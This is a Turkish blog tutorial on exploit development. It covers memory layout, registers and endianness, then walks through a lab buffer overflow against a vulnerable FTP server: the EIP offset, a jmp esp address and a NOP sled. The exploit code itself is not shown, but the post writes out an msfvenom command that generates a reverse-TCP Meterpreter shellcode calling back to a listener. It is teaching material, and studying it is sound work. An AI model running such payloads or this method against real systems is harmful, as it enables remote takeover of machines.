Exploit Geliştirmeye Giriş

Exploit geliştirmeyle ilgili yeterli kaynak olmadığı için bu yazıyı yazmaya karar verdim. Umarım iyi anlatabilirim çünkü konu oldukça zor. Exploit geliştirmeye girmeden önce bilinmesi gereken bazı şeyler var. Bunlar program hafızası registerlar veri tipleri vs. İsterseniz hemen konuya girelim.

RAM Bölümleri

STACK: Yerel hafıza değişkenleri dönüş adresi ve EBP Değeri buradadır.LIFO(last in first out) Son giren ilk çıkar mantığıyla çalışır.Yüksek adresten düşük adrese göre yerleşim gösterir.ESP registeri stack bölgesinin en üst noktasını gösterir.

HEAP: Dinamik hafıza alanı ayırmak için kullanılır. Örneğin int *ptr;ptr=malloc(100*sizeof(int))

.BSS: İçerisine herhangi bir değer atanmamış değişkenler buradadır. Char name;

.DATA: İçerisine değer atanmış değikenler buradadır. Int I = 1;

.CODE(veya .TEXT):Program kodlarının makine diline çevrilmiş halleri buradadır. 00001010 = A

C kodu ile bu bilgileri özetleyecek olursak;

Veri Tipleri

BIT:2’lik sistemde en küçük veribirimine verilen isim. 1 or 0

NIBBLE: 4 bitlik bilgiye denir.

BYTE: 8 bitlik bilgiye denir.

WORD: 16 bitlik bilgiye denir.

DWORD: Double word iki ayrı word den meydana gelir.32 bitlik bilgiye denir.

Bitler Üzerindeki Mantıksal İşlemler

REGISTERS

Data Registers

Not: kaydediciler işlemci üzerinde yer alırlar.

E(extended)AX:Akümülatör kaydedicisi ,dört işlemde kullanılır.

EBX:Base kaydedicisi bellek lokasyonlarında baz adres göstericisi olarak kullanılır.İndex kaydedicisi olarak da kullanılabilir.Data segment içerisinde bir alanı göstermek için kullanılır.

ECX:Counter kaydedicisi,Döngü işlemlerinde sayaç olarak kullanılır.

EDX:Data kaydedicisi,Donanım ile yapılan giriş çıkış işlemlerinde kullanılır.

INDEX Registers

ESI:Source Index,karakter ya da döngü işlemleri sırasında okuma işlemi yapılcak olan yerin adresini gösterir.

EDI:Destination Index,karakter ya da döngü işlemleri sırasında yazma işlemi yapılcak olan yerin adresini gösterir.

SEGMENT Registers

CS:Code segment,Program kodlarının makine dilindeki halleri code segmentte saklanır.CS register Code segmentin başlangıç adresini saklar.

DS:Data segment,Değer verilmiş değişkenler data segmentte saklanır.DS register data segmentin başlangıç adresini tutar.

SS:Stack segment,Dönüş adresleri,yerel fonksiyon değişkenleri ve eski ebp değerleri stcak içerisinde saklanır. SS register stack başlangıç adresini saklar.

POINTER Registers

EIP:Bir sonraki çalışacak olan komutun bellek adresini saklar. (BAKIN BURASI ÇOKOMELLİ!)

EBP:Stackte referans noktası oluşturur.

ESP: Stack bölgesinin en üst noktasını gösterir.(BURASI DA ÇOKOMELLİ!)

LITTLE ENDIAN ve BIG ENDIAN nedir ?

Exploit geliştime konusunda çokomelli olan bir diğer noktada exploitin çalışacağı sistemin mimarisi ve türüdür.Program akışının istenilen adrese yönlendirilmesi için EIP üzerine istenilen adresin yazılması gerekmektedir.Bu yüzden işletim sisteminin mimarisine göre eip değeri ters ya da düz yazılabilir.Bu olay hedef işletim sisteminin Little endian ya da Big endian çalışmasıyla alakalıdır.

LITTLE ENDIAN:Veri hafızaya yazılırken,verinin yazılma işlemi düşük değerli byte değerinden başlanılarak yazılıyorsa işlemci LITTLE ENDIAN’dır.

BIG ENDIAN:Veri hafızaya yazılırken,verinin yazılma işlemi yüksek değerli byte değerinden başlanılarak yazılıyorsa işlemci BIG ENDIAN’dır.

Örneğin bellek adresi 7cb22d69 olsun : BIG ENDIAN —→ \x7c\xb2\x2d\x69

LITTLE ENDIAN —→ \x69\x2d\xb2\x7c

ENDIAN TEST

Geliştireceğimiz basit bir exploitte kullanacağımız 2 assembly kodu var bunlar:

NOP:no operation kodu hiç bir işlem yapma kodudur.

JMP:Koşulsuz dallanma kodudur.

Evet en basit anlamda bilmeniz gerekenler bunlar işin detayına fazla girmek istemedim şimdi basit bir exploit geliştirelim ve bakalım oturum alablicekmiyiz.

BUFFER OVERLOW EXPLOİT UYGULAMASI

C dili ile geliştirelen uygulamalarda kullanıcı hafızası programcı tarafından belirlendiği için bellek taşması olası bir durumdur.Eğer programcı kullanıcıya ayrılan belleği sınırlandırmaz ise buffer overflow exploiti geliştirilebilir.

Normal de program hafızası bu şekilde

Bu resimden de anlayacağınız üzere kullanıcıya ayrılan bir bellek var. eğer sınırlandırılmaz ise bellek taşar ve eip değerini değiştirebiliriz.Bu da şu demek eğer eip değerine istediğimiz bir değeri atabilirsek programı istediğimiz gibi yönlendirebiliriz.

Eip değerini ayarladıktan sonra nop kodları ile eip ile stack arasındaki boşluk ve stack e de gelecek şekilde nop kodlarıyla doldurduktan sonra shellcode yazılır.Daha sonra oturum almış oluruz.

Uygulamaya geçelim hemen.Bu uygulamada anlaşılır olması için immunity debugger kullandım.Zafiyetli uygulamam ise exploit-db den indirdiğim ftpserver.exe uygulaması.

Immunity debugger bu şekilde

Exploitimizi yazmaya başlayalım.

socket modülü ile hedefe bağlandıktan sonra USER kısmına anonymous Pass kısmına da anonymous yazım anonim olarak giriş yaptık.Sonrasında ise SITE ZONE değeri ile 300 adet x41 değeri (A karakterinin hexadecimal hali) gönderdik. Sonuç ise bek şaşırtıcı olmadı.

Gördüğünüz gibi hem EIP hem de ESP değeri değişti.STACK de sadece bol bol A karakteri var bu şu demek uygulamada buffer overflow zafiyeti var.Peki sırada ne var ? EIP üzerine kaç adet karakter sonra değer düşeceğini bilmemiz lazım.Bunun için pattern_create aracı ile bir karakter örüntüsü oluşturuyorum.

Oluşturduğum bu karakter örüntüsünü exploit koduma dahil ediyorum.

Daha sonra hedefe gönderdiğim bu değerden sonra eip değerinin değiştiğini görüyorum.

Bu değeri pattern_offset aracı ile kontrol ettiğimde bana bir sayı verdi.

Bu şu demek eğer ben 241 adet A karakteri gönderirsem 241.karakterden sonra gelecek olan 4 karakter EIP üzerine düşecek.Hemen kontrol edelim.

Evet EIP değeri 424242 oldu yani B karakteri ile doldurdum ama exploit bu şekilde çalışmaz çünkü böyle bir adres yok olsa bile çalışack kod yok bu yüzden immunity debugger da View>executable modules sekmesinden çalıştırılabilir modüllere bakıyorum.EIP değerinin statik olması bizim için daha iyi olacaktır.

SHELL32.dll I seçiyorum.CONTROL+F ile arancak kodu belirtiyorum.(jmp esp)

Gördüğünüz üzere bir adres var ben bu adresi direk yazarsam exploit kodum çalışmayacaktır.Windows xp LITTLE ENDIAN olduğu için bu adresi little endian a çeviriyorum.

kodu inceleyecek olursak 241 adet A karakteri + eip değeri junk değişkenine aktarıldı.Junk değişkenini ise SITE ZONE değeri ile programa gönderiyoruz.EIP ile ESP arasında 15-20 byte’lık bir boşluk var buraya da nop kodları geleceği için sıkıntı çıkmayacaktır.Buraya kadar herşey tamam şimdi sıra shellcode oluşturmaya geldi.msfvenom ile shellcode oluşturuyorum.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.3 LPORT=7777 -b \x00\xff\0d -f python --platform windows

paylaodım windows/meterpreter/reverse_tcp ip adresimi ve portu belirttim -f ile çıktının python olacağını –platform ile platformun windows olcağını belirttim -b ile ise bizim shellcode’umuzu çalıştırmayacak olan kötü karakterleri belirttim.

Bu shellcode’u exploitime dahil ediyorum.

kodu tekrar yorumlayacak olursak buffer değişkenine 241 adet A karakteri atadım sonra ki gelecek 4 karakter eip üzerine düşecek daha sonra nop kodları ile shellcode’umun düzgün çalışması için 100 adet nop kodu ekledim ki rahat bir iniş yapalım.Sonrasında da shellcode’umu junk değişkenime dahil ettim ve junk ı gönderdim.Tabi öncesinde dinleme noktamızı oluşturalım.

Exploitimi çalıştırıyorum ve oturum alıyorum ÇOKOMELLLLLİİİ 😀

Umarım atladığım biryer yoktur herşeyi umarım iyi anlatmışımdır. Buraya kadar okuyan sevgili okurlarım iyi kötü düşüncelerinizi paylaşırsanız sevinirim. 🙂

Sağlıcakla kalın.

Exploit Geliştirmeye Giriş” üzerine 1 yorum

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Reklama Tıkla Destek Ol!